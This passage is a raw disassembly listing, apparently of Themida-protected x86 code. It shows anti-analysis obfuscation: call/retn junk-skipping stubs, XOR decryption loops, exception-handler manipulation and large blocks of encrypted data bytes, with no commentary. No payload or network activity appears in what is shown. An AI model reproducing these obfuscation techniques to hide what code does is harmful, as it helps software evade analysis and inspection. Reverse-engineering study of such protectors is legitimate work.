mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C792A endp
; ---------------------------------------------------------------------------
mov edx, 7DD66F27h
fsubr st, st(2)
rol byte ptr [esi+5E8DEh], 0
add [eax+ebp], ah
mov edi, 616060A7h
mov [ebp+6150CCDh], edi
popa
pop ebx
call dword ptr [ebp+6150DADh]
jmp loc_5C7977
; ---------------------------------------------------------------------------
dd 0D4A0D40Ch, 7D98DE54h, 58A85DFAh, 6D9BDDFCh
db 65h, 44h, 23h
; ---------------------------------------------------------------------------
loc_5C7977: ; CODE XREF: Themida_:005C795Fj
mov [ebp+618BF99h], eax
sub edi, [ebp+6150865h]
jmp loc_5C7B9B
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5C7993
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7993 proc near ; CODE XREF: Themida_:005C798Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5C7993 endp
; ---------------------------------------------------------------------------
db 0F7h
dd 23410055h, 858B97C6h, 618BF91h, 8E8h, 7A226F00h, 47620DBDh
dd 69BD895Bh, 5F061500h, 1800C7h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 3C0222C3h
dd 85D46F95h, 1DBD0351h, 8B061516h, 18BF95B5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0D8E53E9Dh, 0F19D8942h, 0F061509h, 680h, 0F99D8B00h
dd 8B061511h, 150C4585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 3E65DF9Fh, 7DA442FDh
dd 99BD8B6Eh, 8B061508h, 1503219Dh, 0F068906h, 858BD9B7h
dd 615249Dh, 169D9529h, 46890615h, 10E804h, 9CE70000h
dd 697A3667h, 22BF7A14h, 9D8E62EAh, 810FB44Ch, 6, 2072F381h
dd 505F2C35h, 6E9h, 3DE43100h, 893E4135h, 6A2434h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0AC7286C3h, 43BBBB1Eh, 0FF6D1361h, 18BF91B5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0C72390E8h, 66FA8B66h, 689846BBh, 0DD329E34h, 198E0Fh
dd 14E90000h, 9B000000h, 14486627h, 1F1EE8CBh, 46C478A4h
dd 26B9DFC3h, 8189A1D3h, 65CB2404h, 6A22ECh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0ED6799C3h
dd 0BF99858Dh, 0E8500618h, 10h, 0DB3812D7h, 0E06846h, 0A0D5522h
dd 413E61C9h, 2404895Fh, 53E38166h, 0AD95FF4Ah, 6A06150Dh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 4304C357h, 0FA729CA4h, 8D89605Ch, 615045Dh
dd 816AC681h
db 0E5h, 68h, 61h
; ---------------------------------------------------------------------------
loc_5C7B9B: ; CODE XREF: Themida_:005C7983j
popa
push 0
push ebp
call sub_5C7BA7
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7BA7 proc near ; CODE XREF: Themida_:005C7B9Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5C7BA7 endp
; ---------------------------------------------------------------------------
db 3Eh
; ---------------------------------------------------------------------------
xchg esi, [edi+1585C70Eh]
adc large ds:306h, edx
add [edx+0], ch
push ebx
call sub_5C7BD0
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7BD0 proc near ; CODE XREF: Themida_:005C7BC8p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5C7BD0 endp
; ---------------------------------------------------------------------------
sub esp, ebp
xor edi, [ebp+61517F1h]
cmp dword ptr [ebp+618BF99h], 0
jz loc_5C7C50
push 0
push ebx
call sub_5C7C00
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7C00 proc near ; CODE XREF: Themida_:005C7BF8p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5C7C00 endp
; ---------------------------------------------------------------------------
dd 309E551Dh, 0E9189BE2h, 4Fh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 0ABC35545h, 68E0Fh, 9D010000h
dd 61516F1h, 1E91BD33h, 0BD890615h, 6153015h
; ---------------------------------------------------------------------------
loc_5C7C50: ; CODE XREF: Themida_:005C7BEFj
; Themida_:005C7C67j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5C7C50
jmp short loc_5C7CA1
; ---------------------------------------------------------------------------
loc_5C7C6B: ; CODE XREF: Themida_:005C7C82j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5C7C6B
jmp short loc_5C7CA1
; ---------------------------------------------------------------------------
loc_5C7C86: ; CODE XREF: Themida_:005C7C9Dj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5C7C86
jmp short $+2
loc_5C7CA1: ; CODE XREF: Themida_:005C7C69j
; Themida_:005C7C84j
mov eax, eax
push 0
push ecx
call sub_5C7CAE
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7CAE proc near ; CODE XREF: Themida_:005C7CA6p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5C7CAE endp
; ---------------------------------------------------------------------------
xor [esi+52006ACEh], al
call sub_5C7CCC
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C7CCC proc near ; CODE XREF: Themida_:005C7CC4p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5C7CCC endp
; ---------------------------------------------------------------------------
dd 81A3C76Ch, 48B2EDE3h, 12E93Ch, 646A0000h, 0EEFEDE02h
dd 1080D584h, 7813BD18h, 0BA6B39CDh, 1115BD83h, 0F030615h
dd 48085h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 68524FFEh, 6476914Ch, 13E9504Eh
dd 24000000h, 0D3ADAE3Eh, 0CF210316h, 57B86C0Dh, 0DEEF686Bh
dd 8D093A81h, 6152309h, 0BF99BD83h, 0F000618h, 43084h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 0BF66A1E4h, 0B5FF2CCEh, 618BF99h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 16C35545h, 57A75B36h
dd 0F041AF20h, 10E195FFh, 6A0615h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 97BBC3C3h, 7CB0363Dh
dd 0B58B918Ah, 618BF8Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 49C35545h, 106C7BDh, 8B000100h, 1522D9BDh
dd 0D7B75006h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 6AE9C355h, 17482FA8h
dd 66BEA893h, 8E3FF381h, 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 2A2E92C3h
dd 5F2F7590h, 95096BA7h, 6152789h, 6A195FFh, 6A0615h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 749F17C3h, 0CE9h, 8BB8600h, 6B29C3B8h, 0D1E7368Ah, 8DB58BE0h
dd 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0D71EC355h, 0DA8B66CFh, 10E8h
dd 392BA500h, 0D0E6F129h, 0E2DB1458h, 716CF4E4h, 108A0F01h
dd 0E8000000h, 0Ah, 8108BAAEh, 4514823Ch, 5B5B2588h, 59858Bh
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 606EC9C3h, 28658D29h, 0BD8B0615h, 6150641h
dd 0C4868961h, 29000000h, 152D01B5h, 21958B06h, 0F061527h
dd 685h, 5858900h, 0F061517h, 80h, 4C28300h, 76E78166h
dd 2050898Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 71C35343h, 86BB725h, 13E9h, 8C190300h, 7B462C1Bh
dd 7A44F6A3h, 24341E4Fh, 0C08DFCCh, 0D458858Dh, 8B660618h
dd 0B88689D9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 881EC355h, 96673CD4h
dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 28F816C3h, 2FEAE15Bh, 1A159D89h, 0B5FF0615h
dd 618BF99h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 87C35343h, 0C878688Eh, 2EFB4599h, 1D4D95FFh, 6A0615h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0F82C55C3h, 99BD2B6Eh, 9606150Dh, 94805EBFh, 0FC8A504Eh
dd 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0ED1DA093h, 0B5FF2298h, 618BF99h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 79C35747h, 29E0B5F8h
dd 1511C5BDh, 2995FF06h, 6A061507h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 898BC352h
dd 1533E18Dh, 65BD8306h, 61500h, 23840Fh, 0F98B0000h, 100D9D2Bh
dd 50500615h, 66310F52h, 5A9C86BBh, 24348958h, 0BD895660h
dd 615302Dh, 0DAB70F5Bh, 99B5FF61h, 6A0618BFh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0CF00C353h, 19EC2AF2h, 4B96D67h, 229D8589h, 95FF0615h
dd 6150439h, 0BF99B5FFh, 0BD8B0618h, 6150C09h, 0DCD95FFh
dd 81660615h, 835555EFh, 15285DBDh, 840F0206h, 25h, 5E8h
dd 0AA327D00h, 9D8B377Bh, 6150265h, 49858B5Fh, 8B061528h
dd 1508A1BDh, 0C606h, 0C2C383BFh, 0F585C73Fh, 61523h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0B1D8C350h, 8937E61Eh, 15127D85h, 0F0B5E906h
dd 9D89FFFFh, 615300Dh, 6AC18Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 63B1D7C3h, 0E763490Fh
dd 0F3C78156h, 5F35ED8Ah, 279D858Dh, 81660615h, 1363EE3h
dd 1509A19Dh, 0F509006h, 87h, 0BD899000h, 6152B3Dh, 6A006Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 3F0F2C3h, 739BDB9Bh, 8B44D163h, 0C59D8BDFh, 6A061503h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0E18D89B6h, 8D061506h, 19E99C85h, 0DE8B6606h
dd 6A05C083h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 7982C351h, 107CF68Bh, 4CE78166h
dd 52509057h, 12BF310Fh, 5A3B3DE0h, 0BB665058h, 6A90A72Dh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0D3B4C353h, 94328FCFh, 6ADE8B87h, 14DF8100h
dd 6A4E687Eh, 0FFFE8B00h, 15267995h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 32CC29EAh
dd 0B6BFA923h, 8D5A47B4h, 189C158Dh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0BD884DF8h
dd 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0A310B1C3h, 0E6733075h, 60B3A532h, 2DB5BD83h
dd 0F010615h, 9E85h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0B251AB97h, 872F2DA4h
dd 8CE745BBh, 6A026A53h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0F625C350h, 0E5BD8966h
dd 89061518h, 1502CD8Dh, 0BF669006h, 0E9500B9Fh, 10h, 4C7475FFh
dd 0FCB1867Dh, 7D5A5EE4h, 0FCC3DD34h, 99D0B90h, 0FF061525h
dd 151D4D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 0DD1AAF73h, 0E9F519D9h, 0D96h, 0E8h
dd 0ED815D00h, 619E9A6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0F7C35545h, 244E307Ah, 0E3E4EF8Eh, 65BD8B86h
dd 6A061526h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 6E4CC351h, 858D8114h, 61888F9h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8CC35343h
dd 8B6650F9h, 240489DEh, 68C0Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
or edi, 0BA26445h
push large dword ptr fs:0
push 0
push ebp
call sub_5C8474
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8474 proc near ; CODE XREF: Themida_:005C846Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5C8474 endp
; ---------------------------------------------------------------------------
dd 0B3BF9147h, 68F0FBCh, 81000000h, 0ADCA16E3h, 25896406h
dd 0
; ---------------------------------------------------------------------------
jp $+6
add [ebp+61520CDh], eax
inc dword ptr [ebp+6151535h]
push 0
push ebx
call sub_5C84B9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C84B9 proc near ; CODE XREF: Themida_:005C84B1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5C84B9 endp
; ---------------------------------------------------------------------------
mov dl, 45h
push es
wait
cld
mov dh, 0C0h
push edx
add ebp, [edx-1]
mov edi, ecx
mov edi, [ebp+6152D01h]
push dword ptr [ebp+6152339h]
stc
call dword ptr [ebp+61508BDh]
jmp loc_5C8609
; ---------------------------------------------------------------------------
dw 8509h
; ---------------------------------------------------------------------------
cmp eax, 0B0061526h
add [ebx-408F1915h], dh
and [ebx+71E40609h], edi
ja loc_5C8515
jmp loc_5C8515
; ---------------------------------------------------------------------------
dd 0AB2F018Fh, 0AC598889h
; ---------------------------------------------------------------------------
dec edi
loc_5C8515: ; CODE XREF: Themida_:005C8501j
; Themida_:005C8507j
cmp al, 61h
jnb loc_5C8609
sub [ebp+61526D1h], edx
mov [ebp+6152129h], eax
movzx ecx, al
sbb di, 7E69h
mov edx, 6
jmp loc_5C8548
; ---------------------------------------------------------------------------
db 2Dh
dd 0EFAFEE6Bh, 30EAA87Fh, 29D1CDEh
; ---------------------------------------------------------------------------
loc_5C8548: ; CODE XREF: Themida_:005C8536j
mov eax, ecx
sub [ebp+61507E5h], edi
shr eax, 4
mov [ebp+615043Dh], edx
mul dx
jge $+6
sub ecx, eax
mov edx, ecx
or [ebp+61511C9h], eax
jmp loc_5C8609
; ---------------------------------------------------------------------------
mov di, 0FF31h
mov eax, [ebp+4]
jp loc_5C858D
jnz loc_5C858D
mov [ebp+6151165h], edx
loc_5C858D: ; CODE XREF: Themida_:005C857Bj
; Themida_:005C8581j
add eax, 7
add edi, [ebp+6150419h]
mov ebx, [ebp+6150CE9h]
add eax, 0
mov ebx, [ebp+6150599h]
cmp edx, eax
jnb loc_5C85C4
mov bx, 0BF95h
add ebx, [ebp+6152A2Dh]
jmp loc_5C8609
; ---------------------------------------------------------------------------
push ebx
mov ebx, [ebp+61509F1h]
pop ebx
loc_5C85C4: ; CODE XREF: Themida_:005C85A7j
mov ecx, [ebp-1]
mov edi, ebx
and ecx, 1
jz loc_5C8609
mov edi, [ebp+6150D19h]
and dword ptr [ebp-1], 0FFFFFFFEh
mov di, 0CE5Ah
pusha
jmp loc_5C85F4
; ---------------------------------------------------------------------------
db 90h
db 4, 0D5h, 0
dd 1E7EECC1h
; ---------------------------------------------------------------------------
loc_5C85F4: ; CODE XREF: Themida_:005C85E7j
add ecx, [ebp+6152D35h]
popa
mov [ebp+4], edx
movzx edi, ax
jmp $+5
loc_5C8609: ; CODE XREF: Themida_:005C84E9j
; Themida_:005C8517j ...
lea esi, [ebp+61961D4h]
jmp loc_5C861B
; ---------------------------------------------------------------------------
dd 4EE7CD66h
; ---------------------------------------------------------------------------
xor ebx, ecx
pop ss
loc_5C861B: ; CODE XREF: Themida_:005C860Fj
push 0
mov di, cx
call dword ptr [ebp+6152E21h]
push 0
push ecx
call sub_5C8631
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8631 proc near ; CODE XREF: Themida_:005C8629p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5C8631 endp
; ---------------------------------------------------------------------------
db 44h, 0B1h, 0D2h
; ---------------------------------------------------------------------------
pop eax
loc_5C8645: ; CODE XREF: Themida_:005C869Cj
push esi
movzx edi, si
pop ebx
mov ecx, 0FD0h
mov [ebp+6151341h], ebx
and ecx, 0FFFFFFFCh
push 0
push edi
call sub_5C8663
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8663 proc near ; CODE XREF: Themida_:005C865Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5C8663 endp
; ---------------------------------------------------------------------------
pop edx
cld
mov [ebp+61518E5h], ebx
cld
push 0
push esi
call sub_5C8687
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8687 proc near ; CODE XREF: Themida_:005C867Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5C8687 endp
; ---------------------------------------------------------------------------
db 72h
; ---------------------------------------------------------------------------
setalc
sbb ch, [esi+7Ah]
jno short loc_5C8645
or [ebp+61519F1h], esi
mov eax, 0
push 0
push esi
call sub_5C86B4
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C86B4 proc near ; CODE XREF: Themida_:005C86ACp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5C86B4 endp
; ---------------------------------------------------------------------------
dd 98BF668Ch, 0BA66h, 0D98A0000h, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 9DC35747h, 9AE40827h, 2860F33h, 8B000000h, 33E380D8h
dd 2155BD8Bh, 880D0615h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F28C351h
dd 284h, 8BD88B00h, 15272195h, 0CD8D8B06h, 0F061504h, 588h
dd 0E3805700h, 8B505F77h, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 0F4B83CBFh, 57006A0Ah, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0A4B4B564h
dd 2375ACBFh, 9D8BBFDAh, 6151611h, 18A9BD83h, 0F000615h
dd 4284h, 8284BF00h, 0B87EC0h, 0BF000000h, 5289A917h, 4F9E8D8Dh
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 68050CC3h, 55BBE9B9h, 0FF24E06Ch, 119D8BE1h
dd 83061518h, 151115BDh, 840F0006h, 4D9h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 17h, 91C35141h, 0F50985Bh
dd 689h, 0F1D78100h, 91C8BFBh, 1512B595h, 15BD8306h, 1061511h
dd 4B6840Fh, 0D88B0000h, 1115BD83h, 0F030615h, 47186h
dd 0DE8B6600h, 6CD38160h, 660CF3E8h, 6AD98Ch, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8A4060C3h
dd 8BCF647Dh, 4E180F9h, 27999529h, 0C90A0615h, 163840Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 0F53C1C3h, 280h, 5B5F5600h, 249D858Bh, 6A0615h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0C2FDBEC3h, 6B005FF2h, 8533DA33h, 61519B5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 8BC35343h, 0FB5EE79Dh
dd 0AE990h, 0FF2F0000h, 448706B9h, 0CE52AC5h, 0EBB5050h
dd 5F046E08h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 6A54F6h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 1CC35343h, 9BB8F0C1h, 799BD8Bh
dd 7A680615h, 60F2AF86h, 0BD0FBF66h, 11E957h, 0A9090000h
dd 0C0776CB2h, 8BFE04Dh, 7A84256Ch, 5E04378Fh, 24048161h
dd 0D6F7D85h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0ACC35242h, 958B6027h, 61512D1h, 8018D29h, 0FF610615h
dd 150DAD95h, 2D858906h, 8906152Ah, 18BF9985h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 28E90545h, 81000002h, 48AD3ECBh, 91858B25h, 6A0618BFh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 90E8C353h, 0FF20C723h, 0CE8h, 34A81900h
dd 92BFAA5Eh, 2291E05Fh, 5E85F7Ch, 66000000h, 81A85C73h
dd 2E1DBD89h, 0C75F0615h, 1800h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 6F7C8344h
dd 168D0Fh, 0AE80000h, 0E1000000h, 0F09D6ACCh, 0DC55EBA4h
dd 0F59D8B14h, 5F061500h, 0BF95B58Bh, 66600618h, 3EBFEE81h
dd 858B61F9h, 6150C45h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 0C8C35040h, 0FEC5A0ABh, 9D315D8Bh, 6151CD9h
dd 2A1DBD23h, 6890615h, 369B589h, 858B0615h, 615249Dh
dd 41858960h, 0E8061502h, 5, 248FD1DCh, 896158F9h, 6A0446h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 7475FFC3h, 0B1867D4Ch, 50D98AFCh, 52958DBFh, 2434893Eh
dd 8A9BD8Bh, 0B5FF0615h, 618BF91h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0A5C35141h, 92857797h, 0DB589FDh
dd 8906151Ah, 15267195h, 0EAB66806h, 59B38CB4h, 49240481h
dd 6A736A19h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 0F26CC350h, 0D02500D9h, 8DDF8B66h
dd 18BF9985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0A99D236Ch, 0E906152Ah, 0Ah, 19B88E57h
dd 85671DBh, 6690984Dh, 508B15BFh, 5B525757h, 6A905B5Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0F005C353h, 0F768633Ch, 2D95311Dh, 0FF06152Fh
dd 150DAD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0BD07737Fh, 11B53178h, 61061516h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E1C35242h
dd 4199D8Bh, 85C70615h, 6151115h, 3, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 11C35242h, 1ED07C36h, 0BF0F03F7h
dd 835F56DBh, 18BF99BDh, 840F0006h, 4Ah, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0E6C35747h, 0ADE1549Dh
dd 0CADBD8Bh, 3AE90615h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 3AD2C350h
dd 3050FF76h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h
dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h
dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 1083F807h, 1AF36EC5h, 0FDB501D9h
dd 8A061528h, 4DBD0BFEh, 6A061525h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CEF7C355h
dd 3266BF66h, 21BD2B53h, 5B061508h, 1115BD83h, 0F030615h
dd 3AA85h, 89BD8B00h, 83061510h, 18BF99BDh, 840F0006h
dd 397h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 31C35141h, 981ECF2h, 15243DBDh, 99B5FF06h, 6A0618BFh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0F846C355h, 8960F878h, 1509118Dh, 0D9BF0F06h
dd 0E195FF61h, 8B061510h, 15143D9Dh, 8DB58B06h, 6A0618BFh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 0E9CFC353h, 13h, 0EB620917h, 3A56A39Bh, 1A9EDFB2h
dd 0AB8FBE26h, 0C7CD7CA9h, 1000106h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 264237DDh
dd 0BFF67816h, 21920FFBh, 9689C380h, 0DE96050h, 0DC000000h
dd 0BA8E8909h, 0DEFAE468h, 9D50BA26h, 6A9661h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 239EC6C3h, 456781F5h, 0BF99B5FFh, 0B5290618h, 6150321h
dd 6A195FFh, 0B58B0615h, 618BF8Dh, 8BDF8B66h, 15005985h
dd 6CC38006h, 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 0EC294AC3h
dd 8B93E826h, 15272195h, 870F5706h, 6, 6F1B589h, 835F0615h
dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 0FBB2DEC3h, 8D296C2Dh, 61533D1h, 11E9h, 801D6500h
dd 0C55A1688h, 688E87E0h, 4599C878h, 50892EFBh, 8DDF8B20h
dd 18D45885h, 0BEB8106h, 8923E68Fh, 0B886h, 6AD88B00h
dd 0FBBF6600h, 99B5FF05h, 0FF0618BFh, 151D4D95h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0DA88F490h, 0FE9h, 0DB345300h, 0B36630C2h, 77F96735h
dd 5D24B3A7h, 18D34DBFh, 6060501Dh, 5FCF8EB8h, 0A9BE665Ah
dd 0E960619Eh, 9, 0E194C4D6h, 4EF7836Dh, 0CA8B6681h, 34896161h
dd 0B69BF24h, 0B5FF0104h, 618BF99h, 272DBD8Bh, 0BB660615h
dd 95FF32CAh, 6150729h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 0F2C35141h, 660DAEDEh, 80D6FABBh, 0BD8375EBh
dd 6150065h, 54840F00h, 0E8000000h, 10h, 6EB95786h, 3326C5Fh
dd 74C2375Dh, 0A47139A3h, 72AAA8BBh, 870F5F1Ah, 6, 7D4DF781h
dd 8950161Bh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 8F1724C3h, 7662828Ah, 65BD8937h
dd 0FF061529h, 18BF99B5h, 0C3816606h, 95FF90E0h, 6150439h
dd 2CD19531h, 0B5FF0615h, 618BF99h, 154C7ABFh, 0CD95FF17h
dd 8906150Dh, 151CB185h, 5DBD8306h, 2061528h, 5D840Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 227E28C3h, 0F1116333h, 49858BFEh, 66061528h
